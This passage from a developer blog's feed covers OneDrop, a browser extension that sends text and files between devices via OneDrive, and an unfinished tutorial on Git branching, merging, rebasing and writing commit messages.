&lt;p&gt;&lt;code&gt;browser.downloads.download()&lt;/code&gt;  receives the URL, filename and options such as whether to show Save As. Its returned  &lt;code&gt;downloadId&lt;/code&gt;  identifies a started browser task. It’s independent of the cloud  &lt;code&gt;driveItemId&lt;/code&gt; . The client removes control and path characters from filenames and handles name collisions.&lt;/p&gt;
&lt;p&gt;It calls  &lt;code&gt;browser.downloads.search(&amp;#123; id: downloadId &amp;#125;)&lt;/code&gt;  to check for  &lt;code&gt;in_progress&lt;/code&gt; ,  &lt;code&gt;complete&lt;/code&gt;  or  &lt;code&gt;interrupted&lt;/code&gt; . A completed file that still exists can be registered; interruption returns an error. For an active download it adds a &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/downloads/onChanged&#34;&gt; &lt;code&gt;browser.downloads.onChanged.addListener()&lt;/code&gt;  callback&lt;/a&gt;, which receives the browser task ID and the properties that changed. OneDrop filters events by ID and queries the full task state again. It removes the listener once the outcome is known.&lt;/p&gt;
&lt;p&gt;A download can finish between the first query and listener registration. If the new listener misses that notification, the UI can wait for a download that has already finished. An immediate second query closes that gap. In the code,  &lt;code&gt;finish()&lt;/code&gt;  queries the state and handles the result:&lt;/p&gt;
&lt;figure class=&#34;highlight typescript&#34;&gt;&lt;figcaption data-lang=&#34;typescript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;browser&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;downloads&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;onChanged&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;addListener&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;onChanged&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token comment&#34;&gt;// Check the current download state again after registering the listener.&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;finish&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Only a confirmed completion saves the mapping for reuse. An ordinary download interrupted with  &lt;code&gt;FILE_EXISTS&lt;/code&gt;  gets up to three attempts to find an available name. Save As leaves the failure for the user to handle. A file already saved on the user’s device remains theirs when a cloud message is removed.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;At this point messages and attachments are on OneDrive. &lt;a href=&#34;/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-two/&#34;&gt;Part two&lt;/a&gt; follows what happens when other devices read and modify them, and how archives and deleted records are maintained.&lt;/p&gt;
</content>
        <updated>2026-10-06T11:42:08.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/software-development/app-development/onedrop-sending-text-and-files-through-onedrive/</id>
        <title>OneDrop: Sending Text and Files through OneDrive</title>
        <link rel="alternate" href="https://www.sycamore.top/en/software-development/app-development/onedrop-sending-text-and-files-through-onedrive/"/>
        <content type="html">&lt;p&gt;&lt;a href=&#34;https://github.com/zixu0779/OneDrop&#34;&gt;OneDrop&lt;/a&gt; is a tool I built so you can send text and files between your devices through your own OneDrive. This post covers why I made it, where it’s available and what I’d like to improve. I left the implementation details for a separate post. I’ve since written them up in &lt;a href=&#34;/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-one/&#34;&gt;part one&lt;/a&gt; and &lt;a href=&#34;/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-two/&#34;&gt;part two&lt;/a&gt; of my series on storage and sync.&lt;/p&gt;
&lt;p&gt;&lt;span id=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;span id=&#34;为什么做-onedrop&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;why-i-made-onedrop&#34; data-section=&#34;为什么做-onedrop&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#why-i-made-onedrop&#34;&gt;#&lt;/a&gt; Why I made OneDrop&lt;/h2&gt;
&lt;p&gt;I use Edge on pretty much everything. It came with Windows and I got used to it, so even on my Mac and phone I install it and make it my default browser.&lt;/p&gt;
&lt;p&gt;Edge’s built-in Drop used to be how I moved things between devices. I used it all the time. When a later version of Edge &lt;a href=&#34;https://learn.microsoft.com/en-us/deployedge/microsoft-edge-relnote-archive-stable-channel#version-1520419153-august-27-2026-stable---main-release&#34;&gt;removed the feature&lt;/a&gt;, I wanted to keep that habit going.&lt;/p&gt;
&lt;p&gt;I could send files to myself in WeChat, and there’s no shortage of file transfer tools. But most of the time I’m just passing a link, a bit of text or an attachment to another device. Opening a separate app always felt like one step too many. Edge is usually open already. I wanted to be able to send the item right there and get on with what I was doing.&lt;/p&gt;
&lt;span id=&#34;为什么选择-onedrive&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;why-onedrive&#34; data-section=&#34;为什么选择-onedrive&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#why-onedrive&#34;&gt;#&lt;/a&gt; Why OneDrive&lt;/h2&gt;
&lt;p&gt;I didn’t want to run a server just to move things between my own devices. The cost and maintenance didn’t make sense for this use.&lt;/p&gt;
&lt;p&gt;Since I was building for Edge, using a Microsoft account and OneDrive felt natural. Many Edge users already have an account. You sign in with your own account and the text and files stay in your own OneDrive. There’s no separate storage service for me to maintain.&lt;/p&gt;
&lt;p&gt;A Microsoft account includes &lt;a href=&#34;https://support.microsoft.com/en-us/onedrive/microsoft-storage-faqs&#34;&gt;5 GB of free cloud storage&lt;/a&gt;, shared with other content on the account. That’s normally enough for my snippets and occasional files. If your OneDrive is already pretty full, check the space available first.&lt;/p&gt;
&lt;span id=&#34;目前的使用效果&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;what-its-like-to-use&#34; data-section=&#34;目前的使用效果&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#what-its-like-to-use&#34;&gt;#&lt;/a&gt; What it’s like to use&lt;/h2&gt;
&lt;p&gt;Text and file transfers share a single message list. On desktop Edge the extension opens in the sidebar, so I can use it without leaving the page.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793199120/Typora/2026/10/28/onedrop-desktop.png&#34; alt=&#34;OneDrop open in the desktop Edge sidebar&#34; /&gt;&lt;/p&gt;
&lt;p&gt;That’s the experience I wanted to keep: send something here when I need it on another device, then pick it up there.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793200401/Typora/2026/10/28/onedrop-message.png&#34; alt=&#34;Text and file messages in the same list&#34; /&gt;&lt;/p&gt;
&lt;p&gt;You can go back through your message history. I wanted long-term archiving too, so OneDrop could match Drop’s features as closely as possible.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793207916/Typora/2026/10/29/onedrop-history.png&#34; alt=&#34;Older file messages in OneDrop&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The free 5 GB can fill up. OneDrop lets you delete individual messages and has a recycle bin, so you can keep the records you want and remove the rest. Deleting a message from the list removes its record there. To finish deleting it and reclaim the storage, clear it from the recycle bin too.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793200453/Typora/2026/10/28/onedrop-recycle-bin.png&#34; alt=&#34;OneDrop’s recycle bin&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;目前的发布情况&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;where-its-available&#34; data-section=&#34;目前的发布情况&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#where-its-available&#34;&gt;#&lt;/a&gt; Where it’s available&lt;/h2&gt;
&lt;p&gt;The desktop extension is available from the &lt;a href=&#34;https://microsoftedge.microsoft.com/addons/detail/onedrop/omfponfedcemkidfmpkojmhfofgmfmgh&#34;&gt;Edge Add-ons store&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Mobile installation takes more work. Edge has a submission process for mobile extensions. I submitted the Android and iOS forms, but at the time of writing I hadn’t received a reply to either. The desktop store installation route doesn’t work for them yet.&lt;/p&gt;
&lt;p&gt;For early access, the &lt;a href=&#34;https://github.com/zixu0779/OneDrop/releases/latest&#34;&gt;GitHub release&lt;/a&gt; includes a CRX package. It requires developer mode and the corresponding test browser: Edge Canary on Android or the TestFlight version of Edge on iOS. The &lt;a href=&#34;https://github.com/zixu0779/OneDrop/blob/main/docs/installation.md&#34;&gt;installation guide&lt;/a&gt; lists the steps. They don’t carry over directly to stable mobile Edge.&lt;/p&gt;
&lt;p&gt;On iOS there’s also an IPA for the native application. It’s intended for import into &lt;a href=&#34;https://github.com/LiveContainer/LiveContainer&#34;&gt;LiveContainer&lt;/a&gt;, which you need to set up first. It isn’t an App Store build or something you can install by tapping the download.&lt;/p&gt;
&lt;span id=&#34;目前的不足与后续打算&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;rough-edges-and-plans&#34; data-section=&#34;目前的不足与后续打算&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#rough-edges-and-plans&#34;&gt;#&lt;/a&gt; Rough edges and plans&lt;/h2&gt;
&lt;p&gt;The hurdle I notice most is still installation on mobile. The desktop version has a store listing, while both a test browser and LiveContainer need extra setup. That’s an awkward first impression for a tool I made to save myself a few steps.&lt;/p&gt;
&lt;p&gt;I’ll keep an eye on the mobile extension submissions. I’ve also considered a standalone Android app, but I haven’t set a date. For now I want to get the everyday operations right: sending, viewing and clearing items across devices.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&#34;https://github.com/zixu0779/OneDrop&#34;&gt;source is on GitHub&lt;/a&gt;. If you have similar habits, the installation requirements are a good place to start. At the time of this post, the project had reached 1.0.3. Most features were in place and had been through an initial round of testing. If you run into anything, leave a comment or open a &lt;a href=&#34;https://github.com/zixu0779/OneDrop/issues&#34;&gt;GitHub issue&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793209186/Typora/2026/10/29/onedrop-devices-about.png&#34; alt=&#34;Device list and version information&#34; /&gt;&lt;/p&gt;
</content>
        <updated>2026-09-20T12:36:17.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/software-development/development-environment/managing-projects-with-git-and-github/</id>
        <title>Managing Projects with Git and GitHub</title>
        <link rel="alternate" href="https://www.sycamore.top/en/software-development/development-environment/managing-projects-with-git-and-github/"/>
        <content type="html">&lt;p&gt;Git records versions. GitHub hosts repositories and provides a place to discuss issues and review code. Knowing how to use both is a basic development skill. Pushing code is only one step. A typical change also raises questions about branches, commits, review, automated checks and release. This post follows one change through that process.&lt;/p&gt;
&lt;p&gt;&lt;span id=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;span id=&#34;整理仓库&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;organising-a-repository&#34; data-section=&#34;整理仓库&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#organising-a-repository&#34;&gt;#&lt;/a&gt; Organising a repository&lt;/h2&gt;
&lt;span id=&#34;readme-应该写些什么&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;what-belongs-in-the-readme&#34; data-section=&#34;readme-应该写些什么&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#what-belongs-in-the-readme&#34;&gt;#&lt;/a&gt; What belongs in the README?&lt;/h3&gt;
&lt;p&gt;When you open a project for the first time, you want to know what it does, what’s working so far, and how to run it. A README should answer those questions up front, then point you to the docs for more detail.&lt;/p&gt;
&lt;p&gt;A useful order is introduction, demo, main features, installation or startup, contributing and licence. For a graphical application, one real screenshot often conveys more than a long feature list. Include the prerequisites and commands someone needs to install dependencies and run it.&lt;/p&gt;
&lt;p&gt;In my &lt;a href=&#34;https://github.com/zixu0779/DungeonTavern/blob/main/README.zh-CN.md&#34;&gt;DungeonTavern README&lt;/a&gt;, I start with the project and documentation links, show the actual scene, then cover features and startup. Long design notes can live in separate documents. Relative links to files and screenshots continue to work when readers switch branches or download the source.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696402/Typora/2026/05/git-github-readme-overview.png&#34; alt=&#34;DungeonTavern’s introduction, documentation links and scene preview&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;说明使用和贡献方式&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;explain-usage-and-contributions&#34; data-section=&#34;说明使用和贡献方式&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#explain-usage-and-contributions&#34;&gt;#&lt;/a&gt; Explain usage and contributions&lt;/h3&gt;
&lt;p&gt;The licence describes permitted uses. A  &lt;code&gt;CONTRIBUTING.md&lt;/code&gt;  can explain environment setup, validation and contribution submission. Link both from the README. Templates make these reports more consistent. An issue template can ask for reproduction steps. A pull request template can ask what changed and how the contributor checked it.&lt;/p&gt;
&lt;span id=&#34;排除不需要提交的文件&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;exclude-files-that-dont-belong-in-history&#34; data-section=&#34;排除不需要提交的文件&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#exclude-files-that-dont-belong-in-history&#34;&gt;#&lt;/a&gt; Exclude files that don’t belong in history&lt;/h3&gt;
&lt;p&gt;Use  &lt;code&gt;.gitignore&lt;/code&gt;  to exclude files you don’t want under version control. A Node.js project might ignore installed dependencies, build products and local configuration:&lt;/p&gt;
&lt;figure class=&#34;highlight gitignore&#34;&gt;&lt;figcaption data-lang=&#34;gitignore&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token entry string&#34;&gt;node_modules&lt;span class=&#34;token punctuation&#34;&gt;/&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token entry string&#34;&gt;dist&lt;span class=&#34;token punctuation&#34;&gt;/&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token entry string&#34;&gt;.env&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token entry string&#34;&gt;.env.&lt;span class=&#34;token operator&#34;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token entry string&#34;&gt;&lt;span class=&#34;token operator&#34;&gt;!&lt;/span&gt;.env.example&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Keep only variable names and dummy values in  &lt;code&gt;.env.example&lt;/code&gt; . Whether to track  &lt;code&gt;dist/&lt;/code&gt;  depends on distribution: some repositories intentionally version their built output.&lt;/p&gt;
&lt;p&gt;Adding an already tracked file to  &lt;code&gt;.gitignore&lt;/code&gt;  won’t untrack it. To remove it from the index and keep the local copy:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;rm&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;--cached&lt;/span&gt; .env&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Old commits still contain it. Revoke or rotate a secret that was committed.&lt;/p&gt;
&lt;span id=&#34;为改动创建分支&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;create-a-branch-for-the-change&#34; data-section=&#34;为改动创建分支&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#create-a-branch-for-the-change&#34;&gt;#&lt;/a&gt; Create a branch for the change&lt;/h2&gt;
&lt;p&gt;Check for unfinished local changes first, then create the working branch from an up-to-date main branch. The example assumes a main branch named  &lt;code&gt;main&lt;/code&gt;  and a remote named  &lt;code&gt;origin&lt;/code&gt; :&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; status&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; switch main&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; pull --ff-only origin main&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; switch &lt;span class=&#34;token parameter variable&#34;&gt;-c&lt;/span&gt; fix/category-wrap&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;code&gt;--ff-only&lt;/code&gt;  stops if local and remote histories have diverged. That gives you a chance to inspect both sides. Use a name that describes the change, such as  &lt;code&gt;fix/category-wrap&lt;/code&gt;  or  &lt;code&gt;feat/search&lt;/code&gt; . Keep a release script edit separate from a category layout fix so each can be reviewed, reverted and located in history independently. Short-lived branches suit many small projects; version branches become useful when maintaining multiple release lines.&lt;/p&gt;
&lt;span id=&#34;同步主分支的改动&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;bring-in-changes-from-main&#34; data-section=&#34;同步主分支的改动&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#bring-in-changes-from-main&#34;&gt;#&lt;/a&gt; Bring in changes from main&lt;/h3&gt;
&lt;p&gt;Commit your work in progress or stash it. Once the working tree and index are clean, fetch:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; fetch origin&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Choose one of these approaches according to the project’s conventions:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token comment&#34;&gt;# 在当前工作分支中合入主分支&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; merge origin/main&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token comment&#34;&gt;# 或者，把当前工作分支的提交重放到新的主分支之后&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; rebase origin/main&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;A merge preserves the existing commits and can join diverged histories with a merge commit. A rebase replays changes on a new base and gives the replayed commits new IDs.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Situation&lt;/th&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Reason&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Others share the branch or work on top of it&lt;/td&gt;
&lt;td&gt;Prefer a merge&lt;/td&gt;
&lt;td&gt;Their existing commit IDs remain valid.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The work is entirely local&lt;/td&gt;
&lt;td&gt;A rebase is reasonable&lt;/td&gt;
&lt;td&gt;Nobody else depends on the old IDs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The branch was pushed but only you use it&lt;/td&gt;
&lt;td&gt;Follow the repository convention&lt;/td&gt;
&lt;td&gt;Updating the remote after a rebase usually requires a force push. Check who depends on it first.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The target requires linear history&lt;/td&gt;
&lt;td&gt;Use a compatible rebase, squash or fast-forward&lt;/td&gt;
&lt;td&gt;A merge commit would violate the rule; a fast-forward creates none.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Coordinate before rewriting shared history. Don’t rewrite a public main branch simply to sync your work. &lt;a href=&#34;#choose-a-merge-method&#34;&gt;Choosing a PR merge method&lt;/a&gt; below concerns a later step.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696402/Typora/2026/05/git-github-merge-rebase.png&#34; alt=&#34;Commit relationships after merging or rebasing&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Resolve conflicts in the files, then mark them resolved with  &lt;code&gt;git add&lt;/code&gt; . Complete the merge commit or run  &lt;code&gt;git rebase --continue&lt;/code&gt;  as appropriate. To abandon the operation, use  &lt;code&gt;git merge --abort&lt;/code&gt;  or  &lt;code&gt;git rebase --abort&lt;/code&gt; . Restore stashed changes with  &lt;code&gt;git stash pop&lt;/code&gt; ; restoring can itself cause conflicts. Run the relevant checks even after a clean textual merge.&lt;/p&gt;
&lt;span id=&#34;把改动整理成提交&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;organise-changes-into-commits&#34; data-section=&#34;把改动整理成提交&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#organise-changes-into-commits&#34;&gt;#&lt;/a&gt; Organise changes into commits&lt;/h2&gt;
&lt;p&gt;Inspect the changes before committing:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; status&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;diff&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;add&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;-p&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;diff&lt;/span&gt; &lt;span class=&#34;token parameter variable&#34;&gt;--cached&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;code&gt;git diff&lt;/code&gt;  shows unstaged changes and  &lt;code&gt;git diff --cached&lt;/code&gt;  shows what the next commit will contain. Stage selected hunks with  &lt;code&gt;git add -p&lt;/code&gt; ; add new files separately after checking status.&lt;/p&gt;
&lt;p&gt;Implementation, tests and documentation can belong in one commit when they accomplish one thing. Splitting mechanically by file makes less sense than separating unrelated formatting, debugging files and behaviour changes. Mixing those together makes reverting the functional change much harder.&lt;/p&gt;
&lt;p&gt;For a public project, English commit messages can help contributors who speak other languages. Follow existing language conventions. Git itself doesn’t require English. Describe the effect of the change, with context where needed:&lt;/p&gt;
&lt;figure class=&#34;highlight text&#34;&gt;&lt;figcaption data-lang=&#34;text&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;Fix wrapping of long category titles on mobile&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;Allow titles to wrap within the text column instead of moving&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;below the date.&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Once you’ve checked the staged changes, run  &lt;code&gt;git commit&lt;/code&gt;  and enter the message in your editor. A subject like the one above tells you what changed when you browse the history. An entry like  &lt;code&gt;update&lt;/code&gt;  or  &lt;code&gt;fix bug&lt;/code&gt;  leaves you guessing. The &lt;a href=&#34;https://github.com/git/git/blob/master/Documentation/SubmittingPatches&#34;&gt;Git project’s contribution guidelines&lt;/a&gt; also ask contributors to group changes logically and explain why they made them.&lt;/p&gt;
&lt;p&gt;Prefixes such as  &lt;code&gt;feat:&lt;/code&gt;  and  &lt;code&gt;fix:&lt;/code&gt;  are a team convention and can help generate release notes. Use them if they suit the project. What matters is that the messages are clear and consistent within the repository.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;If you’ve just committed and discover a related change you left out, stage it and run the following while the commit is still unshared:&lt;/p&gt;
